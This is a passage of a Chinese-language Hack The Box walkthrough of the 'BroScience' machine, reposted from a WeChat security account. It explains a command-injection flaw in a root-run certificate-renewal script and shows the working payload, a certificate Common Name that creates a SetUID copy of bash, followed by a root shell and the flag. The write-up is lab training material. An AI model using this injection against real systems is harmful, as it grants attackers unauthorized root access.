country=$(echo $subject | grep -Eo 'C = .{2}') state=$(echo $subject | grep -Eo 'ST = .*,') locality=$(echo $subject | grep -Eo 'L = .*,') organization=$(echo $subject | grep -Eo 'O = .*,') organizationUnit=$(echo $subject | grep -Eo 'OU = .*,') commonName=$(echo $subject | grep -Eo 'CN = .*,?') emailAddress=$(openssl x509 -in $1 -noout -email) country=${country:4} state=$(echo ${state:5} | awk -F, '{print $1}') locality=$(echo ${locality:3} | awk -F, '{print $1}') organization=$(echo ${organization:4} | awk -F, '{print $1}') organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}') commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

将所有这些打印到屏幕上后,它将使用它来生成新证书:

echo -e "nGenerating certificate...";    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country            $state    $locality                $organization    $organizationUnit    $commonName    $emailAddress    " 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

命令注入

上面的最后一行是重要的一行。如果我可以控制的话,该行存在命令注入漏洞$commonName。向后工作,$commonName设置在这里:

commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

这是打印$commonName设置的任何内容,从第六个字符开始,然后打印到第一个,。

在此之前,$commonName设置基于$subject:

commonName=$(echo $subject | grep -Eo 'CN = .*,?')

我相信作者试图从上到下CN =一个逗号或行尾,但是这个正则表达式的编写方式,因为.*是贪婪的,它总是会遍历行尾。例如:

bill@broscience:~$ echo "this is a test, more stuff" | grep -Eo '.*,?'this is a test, more stuff

$subject来自openssl读取证书的命令输出:

subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

实际上,如果我可以将命令注入有效负载放入证书中,并使其在不到一天的时间内过期,则该脚本将执行它。

执行

ChatGPT 会很快给我提供openssl制作证书的语法。我将稍微修改一下以满足我的需求:

bill@broscience:~$ openssl req -x509 -nodes -newkey rsa:2048 -keyout /dev/null -out Certs/broscience.crt -days 1Generating a RSA private key......................................................+++++......................+++++writing new private key to '/dev/null'-----You are about to be asked to enter information that will be incorporatedinto your certificate request.What you are about to enter is what is called a Distinguished Name or a DN.There are quite a few fields but you can leave some blankFor some fields there will be a default value,If you enter '.', the field will be left blank.-----Country Name (2 letter code) [AU]:State or Province Name (full name) [Some-State]:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit Name (eg, section) []:Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/0xdf; chmod 4777 /tmp/0xdf)                    Email Address []:

我的有效负载将复制bash到/tmp并将其设置为 SetUID 以以 root 身份运行(我最初尝试过/dev/shm,但它已安装nosuid。

两分钟后,在 中出现一个 SetUID 二进制文件/tmp:

bill@broscience:~$ ls -l /tmp/0xdf-rwsrwxrwx 1 root root 1234376 Mar 31 09:22 /tmp/0xdf

我将运行它,-p不删除权限并以 root 身份获取 shell:

bill@broscience:~$ /tmp/0xdf -p0xdf-5.1#

并读取标志:

0xdf-5.1# cat root.txte810aba4************************

                              技术交流群添加微信:

玩转HTB靶场系列之BroScience


原文始发于微信公众号(守护安全团队):玩转HTB靶场系列之BroScience

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月25日22:49:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   玩转HTB靶场系列之BroSciencehttp://cn-sec.com/archives/2229368.html

发表评论

匿名网友 填写信息